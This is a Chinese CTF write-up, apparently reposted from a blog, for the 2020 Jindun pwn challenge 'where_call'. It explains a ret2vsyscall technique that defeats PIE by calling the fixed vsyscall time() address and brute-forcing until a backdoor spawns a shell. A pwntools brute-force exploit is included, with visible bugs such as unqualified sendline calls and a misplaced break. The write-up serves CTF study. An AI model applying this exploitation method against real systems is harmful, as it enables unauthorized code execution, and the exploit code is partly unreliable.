2020 金盾 pwn where_call

总的来说是ret2vdso

在这里插入图片描述保护全开。

在这里插入图片描述

就如程序名,where_call,程序让你输入一个函数地址,结合下面的v5等于121,那么想的是找到一个函数,对v5进行一些操作,让它等于121,但是程序开了PIE,难点就在这里。

我们说平常PIE的绕过有两种方法,一种是泄露内存地址,但是那需要一些类似于read函数的东西,但是现在啥没有。另外一种就是partial write,但你看这显然不行,你去哪write?

所以就想到ret2vdso,或者说ret2vsyscall。

vsyscall是固定的,里面第二个函数是time函数,传入一个参数,调用time函数,返回一个时间值到buf,即相对于UTC(1970-01-01 00:00:00 +0000)所经过的秒数。当buf恰好等于121时即可进入后门函数调用system(“/bin/sh”)。

虽然说我们得到的时间是相对UTC的,但是它判断的时候值判断最后一个字节

在这里插入图片描述
所以还是可以爆破出来的。

然后就接爆破。

exp

from pwn import*
while True:
    try:
        r = process('./where_call')
        r.recvuntil("What is your call??\n")
        vsys = 0xffffffffff600400
        sendline(p64(vsys))
        #sendline("ls")
        sendline("cat flag")
        s = r.recv()
        '''
        if "where_call" in s:
            print s
        break
        '''
        if 'flag' in s:
        	print s
        break 
    except:
        r.close()
        continue

猜你喜欢

转载自blog.csdn.net/yongbaoii/article/details/111944352
pwn